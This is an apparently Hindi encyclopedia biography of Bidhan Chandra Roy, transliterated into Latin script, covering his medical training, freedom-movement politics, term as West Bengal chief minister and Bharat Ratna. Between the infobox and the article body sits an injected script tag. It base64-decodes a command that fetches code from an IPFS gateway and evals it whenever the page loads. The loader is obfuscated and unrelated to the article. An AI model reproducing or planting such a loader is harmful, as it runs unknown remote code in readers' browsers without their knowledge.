बिधान चंद्र राय
bidhan chandr ray
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| poora nam | d aau. bidhan chandr ray |
| janm | 1 julaee, 1882 |
| janm bhoomi | baankipur, bihar |
| mrityu | 1 julaee, 1962 |
| mrityu sthan | kolakata, pashchim bangal |
| mrityu karan | dil ka daura |
| abhibhavak | pita- prakash chandr ray, mata- kamini devi |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani, varishth chikitsak, kushal rajanitijn, shikshak |
| parti | bharatiy rashtriy kaangres |
| kary kal | mukhyamantri, pashchim bangal pratham-23 janavari, 1948 se 25 janavari, 1950 |
| shiksha | em. di. (chikitsak) |
| vidyalay | kalakatta medikal k aaulej, patana k aaulej |
| puraskar-upadhi | bharat ratn, d aauktar aauf saanis |
| any janakari | 'd aau. bi.si.ray rashtriy puraskar' san 1976 mean inake nam par arambh kiya gaya. yah puraskar chikitsa, darshan, sahity, kala aur rajaniti vijnan ke lie diya jata hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>d aau. bidhan chandr ray (aangrezi: Bidhan Chandra Roy, janm: 1 julaee, 1882 - mrityu: 1 julaee, 1962) ko bahumukhi pratibha ke dhani ek varishth chikitsak, vidvanh shikshavid, nirbhik svatantrata senani, kushal rajanitijn aur prasiddh samaj sevak ke sath sath adhunik bharat ke rashtr nirmata ke roop mean bhi b di shraddha v samman ke sath smaran kiya jata hai. visheshakar bangal ke pratham mukhyamantri ke roop mean unake dvara kie gaye ullekhaniy karyoan ke sandarbh mean unhean 'bangal ka masiha' bhi kaha jata hai.
janm
bidhan chandr ray ka janm 1 julaee sanh 1882 ko bihar rajy ke patana zile mean baankipur mean hua tha. unake pita shri prakash chandr ray vahaan ke dipti kalektar ke pad par karyarat the. unaki mata ka nam shrimati kamini devi tha. bidhan chandr apane mata pita ki paanch santanoan mean sabase chhote the. kaha jata hai ki bidhan chandr ke poorvaj bangal ke rajagharane se sambandhit the aur unhoanne mugaloan ka jamakar mukabala kiya tha. yadyapi kalaantar mean rajashahi ka vah prabhav jata raha tatha sarakari naukari hote hue bhi prakash chandr ray ki arthik sthiti achchhi nahian thi.
shiksha
bidhan chandr ne bachapan se hi anubhav kiya ki unake dharmik prakriti ke mata pita unako achchhe sanskar tatha adharabhoot shiksha to de sakate haian, kiantu age ka saphar unhean apani mehanat aur lagan se hi prapt karana hoga. unaki prarambhik shiksha patana ke hi ek vidyalay se huee. jab ve matr 14 varsh ke the, tabhi unaki mata ka dehaant ho gaya. aise mean unhoanne apane bhaee bahinoan ke sath ghar ka kary svany karana prarambh kiya aur apane pita ko parivar chalane mean sahayog diya. patana vishvavidyalay se unhoanne ganit aaunars ki bi.e. ki pariksha utirn ki. is samay unhean ek sarakari naukari ka prastav bhi mil raha tha, kiantu unhoanne ianjiniyariang ya d aauktari ke kshetr mean se kisi ek mean jane ka vichar kiya. unhoanne shivapur ianjiniyariang k aaulej aur kalakatta medikal k aaulej mean pravesh ke lie prarthana patr bheje. donoan hi sthanoan par unake prarthana patr svikar kar lie gaye, kiantu kalakatta medikal k aaulej ka uttar pahale prapt hone par ve sanh 1901 mean kolakata chale gaye. kalakatta medikal k aaulej mean unaka pahala varsh bahut hi arthik sankat mean gujara. pita dvara bheje gaye kuchh rupayoan se ve b di mitavyayita se apana kam chalate the. doosare varsh jabaki unake pita bhi sevanivritt ho gaye, tab yah arthik sankat aur bhi gahara gaya. unhoanne bahut se kashtoan ko jhelakar bhi apana adhyayan karate rahe, isaka anuman is tathy se lagata hai ki paanch varshoan ke apane adhyayan kal mean ve sirf paanch rupaye ki pustak hi kharid sake the. shesh pustakoan ke lie unhean pustakalay aur apane mitroan par nirbhar rahana p data tha.
adhyayan aur adhyapan
bidhan chandr ne apane vyavahar aur shaikshik pratibha ke bal par k aaulej ke pradhyapakoan aur pradhanachary ko bahut prabhavit kiya. unake pradhanachary karnal lyookis unake prerana srot to bane hi, unhoanne d aau. ray ko age badhane mean bahut sahayog diya. sanh 1906 mean unhoanne el.em.es. ki pariksha uttirn ki aur praantiy svasthy seva mean niyukt ho gaye. ek chikitsak ke roop mean jahaan unhoanne rogiyoan ka upachar karane mean kathin parishram aur samarpan se kary kiya, vahian apana d aauktari ka adhyayan bhi karate rahe. sanh 1909 mean unhoanne em. di. ki pariksha uttirn ki aur karnal lyookis ke sahayog se uchch shiksha ke lie ianglaiand ke 'seant batholomyoos' mean adhyayan karane lage. matr 1200 rupaye lekar videsh gaye ray ne vahaan aspatal mean nars ke roop mean kam karake kisi prakar apani padhaee aur rahane khane ka kharcha chalaya. unhoanne apani mehanat aur lagan se samay se poorv hi em.ar.si.pi. aur eph.ar.si.es. ki pariksha uttirn ki aur sanh 1911 mean vah bharat laut aye. bharat mean unhoanne kalakatta medikal k aaulej, kaianpabel medikal skool aur karamaikel medikal k aaulej mean kramavar adhyapan kary kiya. sanh 1916 mean vah kalakatta vishvavidyalay ke phailo chune gaye.
rajanitik saphar
san 1922 mean vah kalakatta medikal janaral ke sanpadak aur bord ke sadasy bane. unhian dinoan vah kalakatta vishvavidyalay ke upakulapati ashutosh mukharji ke sampark mean aye. ashutosh ji b de dooradarshi aur parakhi vyakti the. unhoanne d aau. ray ko sanh 1923 mean hone vale bangal vidhanasabha chunav mean l dane ke lie prerit kiya. d aau. ray ne is chunav mean kaangres pratyashi ke roop mean us samay ke prasiddh neta aur apane vipakshi sureandranath bainarji ko parajit kiya aur is prakar desh ki sakriy rajaniti mean pahala qadam rakha. deshabandhu chitaranjan das unake nikatatam sahayogi bane aur lambe samay tak unake sath bane rahe. sanh 1925 mean unhoanne desh mean uchch shiksha, chikitsa aur svasthy ki samasyaoan ko rajanitik manch par uthaya. isi varsh unhoanne hugali nadi ke pradooshan ke karanoan aur rokatham ke sandarbh mean ek jaanch samiti ke gathan ka prastav prastut kiya. is prakar unhoanne rajaniti ko bhi aur manav samaj ki samasyaoan ko sulajhane ka madhyam banaya. apani isi vidvatta aur yogyata ke bal par desh ve utkrisht rajaneta ke roop mean ubhare. sanh 1927 mean deshabandhu ji ki mrityu ke pashchath ve kaangres ke samanaantar bani svarajy parti ke upaneta ban gaye. sanh 1927 mean unaki bheant barma jel se laute subhash chandr bos se huee. d aau. ray netaji ke vicharoan se sahamat hue aur un hoanne apane agami bhashan mean kaha - bharatavasiyoan ko apasi matabhed bhulakar desh ki svatantrata ke lie dridhata se age badhana chahie.
gaandhi ji ka sannidhy
thumb|bidhan chandr ray ab tak d aau. ray apani vidvatta aur pratibha ke karan gaandhiji aur neharoo ji ke bhi bahut nikat a gaye the. unhoanne gaandhi ji ke sahayog se deshabandhu ji ki smriti mean 'chitaranjan seva sadan' ke nirman ki yojana banayi. gaandhi ji ne d aau. ray ko is trast ka sachiv banaya. sanh 1928 mean ve akhil bharatiy kaangres samiti ke sadasy chune gaye. 1929 mean unhoanne bangal mean savinay avajna andolan ka netritv kiya. sanh 1930 mean unhean kaangres karyakarini samiti mean niyukt kiya gaya. sanh 1930 mean hi unhean andolan ke sandarbh mean giraphtar kar alipur jel bhej diya gaya. jel mean rahate hue bhi d aau. ray ne jel ke aspatal mean sarahaniy kary kie. sanh 1931 mean ve jel se riha kar die gaye. isi varsh vah kolakata ke meyar chune gaye. sanh 1934 mean vah bangal pradesh kaangres samiti ke adhyaksh chune gaye. isi varsh vah 'pharavard bl aauk' ke adhyaksh bane aur khul kar kaangres aur bangal ke kraantikari andolan ka samarthan kiya. kuchh samay pashchath hi unhoanne kaangres adhyaksh pad se is karan istipha de diya, kyoanki vah is dayitv ke karan apane d aauktari aur adhyapan ke karyoan ko uchit samay nahian de pa rahe the. visheshakar garib rogiyoan ki chianta ne hi unhean isake lie adhik prerit kiya. sanh 1940 mean ve kaangres ki karyakarini samiti se bhi alag ho gaye. sanh 1942 mean vah kalakatta vishvidyalay ke upakulapati niyukt hue. doosare vishv yuddh ka daur chal raha tha. d aau. ray ne aisi visham paristhitiyoan mean bhi kolakata mean shiksha aur chikitsa vyavastha ko banaye rakha. vishvavidyalay ke sangathan aur prabandhakarini sabha ke sadasy, lekha mandal ke adhyaksh tatha upakulapati ke roop mean unaki sevaoan ke lie unhean 'd aauktar aauf saanis' ki upadhi di gayi. isi varsh gaandhi ji ne unhean apana niji chikitsak niyukt kiya.
mukhyamantri
san 1947 mean desh svatantr hua to d aau.ray ko kendriy mantrimandal mean sammilit karane par vichar hua, kiantu unhoanne apane d aauktari aur samaj seva karyoan ko prathamikata dete hue spasht iankar kar diya. tab gaandhi ji ke kahane par unhean ek kaangresi hone ke nate apane kartavy ke roop mean bangal ke mukhyamantri pad ka dayitv grahan karana p da. 23 janavari 1948 mean rajyapal chakravarti rajagopalachari dvara unhean mukhyamantri pad ki shapath dilayi gayi. d aau. ray ne apane jivan kal mean anek sarvajanik kshetroan mean apani poori kshamata ke sath kary kiya. aj bhi unake dvara bharat ke vibhinn sthanoan mean sthapit sansthan is bat ka spasht praman haian ki ve sahi mayanoan mean rashtr nirmata the. 'jadavapur ti.bi.aspatal', 'chitaranjan seva sadan', ar.ji.khar.medikal k aaulej', 'kamala neharoo aspatal', 'viktoriya sansthan' aur 'chitaranjan kaiansar aspatal' pramukh haian. unhoanne apane nivas sthal ko bhi apani mata ke nam par aspatal chalane ke lie dan de diya. sanh 1957 mean unhean bharatiy vijnan kaangres ka adhyaksh chuna gaya.
bharat ratn
thumb|bidhan chandr ray ke samman mean jari dak tikat|250px 4 faravari, 1961 mean varishth chikitsak, vidvanh shikshavid, nirbhik svatantrata senani, kushal rajanitijn aur prasiddh samaj sevak d aauktar bidhan chandr ray ko bharat sarakar dvara 'bharat ratn' se sammanit kiya gaya.
nidhan
1 julaee, 1962 ko 80 varsh ki ayu mean dil ka daura p dane se unaka nidhan ho gaya. d aau. ray ki mrityu par poora rashtr shok mean doob gaya. mahanh samaj sevika madar teresa svany unaki mrityu par bahut dukhi hueean, kyoanki jab tak d aau. ray jivit rahe, unhoanne madar teresa aur unaki sanstha ke karyoan ko yathasanbhav sahayog diya tha. unaki mrityu ke pashchath unaki smriti aur samman mean 1967 mean dilli mean d aau. bi.si.ray smarak pustakalay aur vachanalay ki sthapana ki gayi. sanh 1976 mean unake nam par ' d aau. bi.si.ray rashtriy puraskar' arambh kiya gaya. yah puraskar chikitsa, darshan, sahity, kala aur rajaniti vijnan ke lie diya jata hai.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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